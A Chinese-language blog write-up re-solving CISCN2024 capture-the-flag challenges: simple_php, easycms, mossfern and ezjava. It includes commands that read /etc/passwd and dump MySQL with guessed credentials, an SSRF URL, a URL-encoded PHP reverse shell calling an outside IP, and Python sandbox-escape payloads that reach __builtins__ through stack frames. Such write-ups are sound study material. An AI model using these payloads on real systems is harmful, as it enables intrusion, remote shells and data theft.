747 字
4 分钟
CISCN2024-部分题目复现
2024-08-27

EddieMurphy-blogs

simple_php#

1#

读根目录 diff --recursive / /home

读特定文件: dd if=/etc/passwd

flag在环境变量中,但env被过滤,尝试弱密码进mysql mysqldump -uroot -proot --all-databases

最后在返回的结果中找到flag

easycms和revenge#

//flag.php
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
   echo "Just input 'cmd' From 127.0.0.1";
   return;
}else{
   system($_GET['cmd']);
}

很明显的ssrf提示

下载gayhub的源码找注入点

一般这种接口在api里

锁定qrcode这个方法, 8f6ab97ac7a8ad68c0e69188444cf932_MD5

    $value = urldecode(\Phpcmf\Service::L('input')->get('text'));
    $thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
    $matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
    $errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));

如何通过url调用呢?查看官方文档https://www.xunruicms.com/doc/418.html

https://www.xunruicms.com/doc/547.html

538f2977ad898cfc3a76ab3a44e4e439_MD5

于是我们可以构造出payload:

/index.php?s=api&c=api&m=qrcode&text=foo&size=1&level=1&thumb=http://vps:port

(这里参数要输全

在vps上起一个php转到127.0.0.1的flag.php,命令执行为反弹shell

(记得将命令进行url全编码

<?php
header("Location: http://127.0.0.1:80/flag.php?cmd=%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%35%34%2e%34%34%2e%31%30%2e%31%31%36%22%2c%35%36%35%36%29%3b%65%78%65%63%28%22%73%68%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27");
?>

fe89e7f2ad8f624347af9f0934138db0_MD5 是题目的问题?虽然得到了回应但没有getshell,我这里做法和比赛中是一致的

奇了怪了

(用别人图顶一顶 cc223ed3a1b9202be377acd0592a0d7c_MD5

在而第二天的进阶版中,题目增加了对读取文件文件头的限制,加个GIF89a就好了

可以尝试 牢大别周>﹏<的方法直接将flag带出来,因为没有ban单引号,可以执行命令

mossfern#

Python利用栈帧沙箱逃逸

ciscn2024wp

使用文章中的思路构建

def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()
    frame = [x for x in g][0]
    print(frame)
    print(frame.f_back)
waff()

贴出b神的的payload

def boogipop():
	def exp():#生成器函数
		yield pop.gi_frame.f_back.f_back.f_back
    	#生成器函数 exp 使用 yield 语句返回生成器对象 pop 的第三个上级调用帧对象
	pop = exp()#获得生成器对象
	for exp in pop:#这里通过for获得帧对象
		boo=exp
	return boo
kino=boogipop()# kino得到的是pop 的第三个上级调用帧对象
print(kino.f_code.co_consts[19][1:])
#打印 kino 对象(一个帧对象)对应的代码对象的常量列表第 20 个元素(索引 19)的从第二个字符开始的字符串

不一定是第20个元素,这里可以指定整数范围进行payload,之后搜索{即可

不知道该加几个f_back,可以一个个加上去试,有输出就行

最后的指定输出部分字符串是为了防止对flag的过滤,但我用的是ctfshow平台,flag串内无flag faaf5a72044b7dc9a29624b3eb90eaef_MD5

其他队的payload:

def exp():
    def scq():
        yield scq.gi_frame.f_back

    scq = scq()  #生成器

    # frame = next(scq)  # 获取到生成器的栈帧对象
    frame = [x for x in scq][0] #由于生成器也是迭代器,所以也可以获取到生成器的栈帧对象

    gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]  #['_''_bui''ltins_''_']也行
    #从 frame 对象的第三个上级调用帧对象的全局命名空间中获取内建模块 (__builtins__)
  
    dir = gattr.dir  #从内建模块中获得dir函数
    str = gattr.str  # 获取str方法

    getflag = frame.f_back.f_back.f_back.f_code

    print(dir(getflag))

    for i in str(getflag.co_consts):
        print(i)
      #为了防止对flag的过滤,一个个输出
exp()

ezjava#

有好多新东西,我连java安全的门都没入。。。不懂的概念太多了 。欸,一个个搜吧

涉及java JDBC攻击,这里仅作简单复现

之后西索

CISCN2024-部分题目复现
http://orxiain.life/posts/ciscn2024-部分题目复现/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-08-27
许可协议
CC BY-NC-SA 4.0